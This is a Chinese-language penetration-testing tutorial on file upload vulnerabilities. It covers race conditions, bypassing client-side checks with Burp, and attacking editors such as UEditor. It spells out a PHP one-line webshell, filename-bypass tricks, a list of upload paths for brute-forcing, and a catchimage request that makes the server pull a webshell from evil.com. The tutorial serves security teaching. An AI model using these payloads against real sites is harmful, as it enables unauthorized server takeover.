文章总结: 文档详细介绍了文件上传漏洞的原理与利用技术,包括条件竞争绕过、客户端验证绕过方法以及编辑器漏洞实战。文章提供了多种绕过技术,如修改后缀名、Content-Type、利用解析漏洞、双后缀特殊字符等,并通过UEditor实例展示了远程抓取功能的高危漏洞。这些技术对渗透测试人员识别和利用文件上传漏洞具有实用价值。
综合评分: 92
文章分类: WEB安全,渗透测试,漏洞分析,红队,代码审计
【连载】红蓝对抗-攻防演练-WEB安全渗透测试:文件上传漏洞原理(四)
原创
OneDay一卒的老付
老付话安全
2025年11月17日 21:00
山东
1.9.12. 代码逻辑-条件竞争绕过
什么是条件竞争上传,条件竞争上传是一种服务器端的漏洞,由于后端程序操作逻辑不合理导致。
由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。(说白了就是利用先上传再验证不合法的再删除,总会有时间窗口没来得及删除此时正好被访问到恶意文件而执行了)
labs-Pass-17
由于他的代码存在逻辑缺陷是先上传保存的图片然后再去验证如果不满足就删除上传的文件
由于代码执行是一步步来的需要时间那我们不停的上传文件就会产生并发服务器会不停的对每个文件都执行相关的代码
由于他先上传然后又原封不动的保存我们上传的文件所以有一瞬间原本的文件存在如果上传目录和文件名字已知的话
我们就可以通过url访问我们上传的文件
但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码只要自动写一个木马文件到文件夹就成功了
1.10.后缀客户端验证-JS禁用&BURP改包&本地提交
1.10.1. 过滤验证 -客户端及服务端差异
客户端过滤验证:即客户端本地验证;一般检测流程中,我们会通过文件上传点上传一个脚本后门从而达到控制网站的目的,但很多文件上传的点是不允许上传后门文件的,会做很多种验证,其中有一种验证是基于本地浏览器的Javascript验证,Javascript是运行在浏览器的,所以这种验证主要是在浏览器上面,并没有将数据包发送给服务器让服务器给出一种判断进行验证的回复。
服务端过滤验证:相比较客户端验证,服务端验证就是多了一层服务端验证的过滤。可以理解为,客户端验证属于是自我判定的一种方式,服务端验证就是别人进行的判定。
1.10.2. 如何判定客户端、服务端验证过滤
最好的判定方式就是从源代码里分析;
也可以通过抓包的方式验证,正常情况下我们上传正常的文件是不会被拦截的,但是当我们上传一个恶意的后门文件时触发了客户端本地拦截的时候就不会向服务端发送数据包,所以当我们开启Burp抓包工具后再上传一个恶意脚本后门就会在本地进行拦截,Burp就不会抓到数据包,由此可以判定该过滤方法为本地客户端验证过滤。
还有一种比较好的判断方式就是根据上传点的时间返回的过程;如果是客户端的自我过滤验证,那么返回的时间的速度是很快的。服务端验证由于需要将数据包发送至服务器,服务器再经过自身代码的逻辑判断过滤再返回一个响应结果,所以这个过程相对复杂,返回的速度相较于客户端过滤验证要慢一些。[其实该方法并不标准,标准的判定方式还是通过源代码去分析。]
1.10.3. 绕过后缀客户端验证-JS禁用
JS禁用绕过通过禁用浏览器的JavaScript功能,可以绕过基于JS的文件后缀验证。步骤如下:(不同的浏览器稍有差异)
l 打开浏览器的开发者工具(通常是F12)
l 找到设置选项,禁用JavaScript。
l 重新加载页面,尝试上传文件。
1.10.4. 绕过后缀客户端验证-修改数据包
情景是:客户端验证,后端服务器验证不严。即前端JS验证限制文件类型,但服务端仅检查文件名后缀或MIME类型。
使用Burp Suite抓包修改请求中的文件名与MIME类型
- 上传文件并抓包
Ø 在浏览器中尝试上传一个合法文件(如 shell.jpg );
Ø 在Burp Suite的 Proxy > Intercept 中捕获该请求。
- 修改文件名与MIME类型
Ø 将文件名从 shell.jpg 改为 shell.php ;
Ø 修改 Content-Type 头为 image/jpeg 或 image/png;
Ø 点击 Forward 放行请求。
- 验证上传是否成功
Ø 查看响应内容或访问上传路径(如 /uploads/shell.php );
Ø 若成功解析PHP代码,则表示绕过成功。
1.10.5. 绕过后缀客户端验证-本地提交
JS验证逻辑复杂或无法通过抓包绕过。
- 保存网页
Ø 在浏览器中打开上传页面;
Ø 使用快捷键 Ctrl+S 保存网页为HTML文件。
- 编辑HTML文件
Ø 使用文本编辑器打开保存的HTML;
Ø 找到上传表单部分,示例如下:
Ø
Ø 删除 onclick=”return checkFile()” 或整个JS验证函数;
Ø 修改 action 属性为原始上传接口地址(如 http://target.com/upload.php )。
- 上传恶意文件
Ø 在本地打开修改后的HTML文件;
Ø 选择 .php 或 .phtml 文件进行上传;
Ø 如果服务端未做严格校验,文件将成功上传。
1.11.编辑器漏洞文件上传实战
编辑器:指集成在Web应用中的富文本编辑器(Rich Text Editor),如CKEditor、UEditor、KindEditor、FCKeditor等。它们通常提供图片、视频、文件的上传功能。
漏洞成因:开发者往往直接使用编辑器自带的上传模块,或者对其安全配置不当,认为编辑器是“官方”组件就天然安全,从而忽略了严格的安全校验,导致攻击者可以绕过限制上传恶意文件。
1.11.1. 常见的编辑器上传漏洞点
编辑器通常有多个上传接口,攻击面较大:
-
图片上传 Image Upload):最常见的入口,通常只允许图片格式(jpg, png, gif)。
-
涂鸦/截图上传 Scrawl Upload, Screenshot Upload):将画布或截图数据以图片形式上传。
-
文件上传 File Upload, Attachment Upload):允许上传更多格式,如zip, doc, pdf等,风险更高。
-
视频上传 Video Upload):允许上传视频文件。
-
远程抓取 Remote Download/Crawler):允许用户输入一个URL,编辑器会将该URL指向的文件下载到服务器上。这是极其危险的功能,极易被利用。
1.11.2. 实战攻击流程与手法
攻击者的核心思路是:找到编辑器的上传接口,然后尝试绕过其过滤机制,上传Webshell。
步骤一:信息收集 – 寻找编辑器及其接口
- 识别编辑器类型:查看页面源码、JS文件、错误信息等,判断使用的是CKEditor、UEditor还是其他。
o例如,查看源码中是否有ckeditor.js、ueditor.all.js等路径。
- 寻找上传URL:通过查看编辑器JS文件的源码或抓取上传操作的数据包,找到真实的API地址。
o常见上传路径(字典爆破常用):
text
/ueditor/php/controller.php?action=uploadimage
/ueditor/php/controller.php?action=uploadfile
/kindeditor/php/upload.php?dir=image
/ckeditor/plugins/upload/upload.php
/admin/editor/upload.php
/include/editor/upload.php
/wp-content/plugins/ckeditor-for-wordpress/ckeditor/upload.php
步骤二:分析绕过 – 针对性的绕过技术
找到接口后,通过Burp Suite等工具截获上传数据包,进行各种绕过测试。
手法1:修改后缀名(针对白名单校验)
这是最直接的方法。假设接口只允许.jpg。
1.正常上传一个图片木马shell.jpg(内容为<?php
@eval$_POST[‘cmd’]);?>),抓包。
2.将文件名shell.jpg修改为shell.php,并Forward数据包。
- 观察响应:如果返回了文件存储路径(如”url”:
“/uploads/shell.php”),则成功。
手法2:修改Content-Type(针对MIME类型校验)
如果手法1失败,服务器可能检查了MIME类型。
1.抓取上传shell.jpg的包。
2.将Content-Type:
image/jpeg 修改为 Content-Type:
text/php 或 application/octet-stream。
3.同时将文件名改为shell.php。
4.发送数据包,观察响应。
手法3:利用解析漏洞(针对已上传文件的处理)
如果服务器禁止上传.php,但存在解析漏洞,可以尝试:
1.上传文件名为 shell.php.jpg 或 shell.php.abc。
2.利用Apache/IIS/Nginx的解析漏洞,尝试访问 /uploads/shell.php.jpg,看是否会被当作PHP执行。
手法4:利用双后缀/特殊字符
1.上传文件名为 shell.p.phphp。(某些粗糙的过滤逻辑可能会递归删除php字符串,删除一次后变成.php)
2.上传文件名为 shell.php%00.jpg(空字符截断,需特定PHP版本配置)。
3.上传文件名为 shell.php(末尾有空格,Windows系统会自动去除)。
手法5:攻击“远程抓取”功能
这是编辑器漏洞中最经典的高危漏洞。
1.找到远程抓取的接口,如action=catchimage。
2.在数据包中,将source[]参数的值设置为一个远程Webshell的URL。
http
POST /ueditor/php/controller.php?action=catchimage HTTP/1.1
…
source[]=http://evil.com/webshell.jpg
3.编辑器会主动从http://evil.com/webshell.jpg下载文件,并将其保存到服务器上。如果该文件内容是一句话木马,且保存后的文件名是xxxx.php,则攻击成功。
- 关键在于:远程文件的后缀和服务器的重命名规则。如果服务器仅根据远程URL的后缀(.jpg)来保存,但本地又存在解析漏洞(如Apache解析漏洞),那么webshell.jpg会被当作PHP执行。
手法6:默认配置与弱口令
一些老版本的编辑器或CMS,其后台编辑器存在默认的上传路径,甚至存在弱口令,导致可以直接进入后台使用编辑器上传。
1.11.3. 实战案例:某版本UEditor Getshell
UEditor是百度开源的编辑器,历史上多个版本存在漏洞。
-
发现编辑器:目标网站存在/ueditor/ueditor.all.js。
-
寻找接口:已知UEditor的上传接口为/ueditor/php/controller.php?action=uploadimage|uploadfile…。
-
尝试直接上传PHP:
Ø访问/ueditor/php/controller.php?action=uploadfile,上传shell.php。
Ø返回 {“state”:
“文件类型不允许”}。说明有过滤。
- 尝试绕过:
Ø将shell.php重命名为shell.jpg,内容不变。
Ø抓包修改文件名和Content-Type,均失败。
- 利用“远程抓取”漏洞:
Ø在自己的服务器evil.com上放置一个图片木马shell.jpg,内容为<?php
phpinfo);?>。
Ø构造请求包:
POST /ueditor/php/controller.php?action=catchimage HTTP/1.1
Host: target.com
…
source[]=http://evil.com/shell.jpg
Ø发送请求,服务器响应:
json
{
“state”:”SUCCESS”,
“list”:[{
“state”:”SUCCESS”,
“source”:”http://evil.com/shell.jpg”,
“url”:”/ueditor/php/upload/image/xxxx.jpg”
}]
}
Ø它成功下载并保存为xxxx.jpg。
- 利用解析漏洞:
Ø访问 http://target.com/ueditor/php/upload/image/xxxx.jpg。
Ø如果服务器配置不当(如Apache开启mod_php且存在多后缀解析漏洞),该jpg文件会被当作PHP解析,执行phpinfo)函数。
Ø攻击成功!Getshell!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:老付话安全 OneDay一卒的老付《【连载】红蓝对抗-攻防演练-WEB安全渗透测试:文件上传漏洞原理(四)》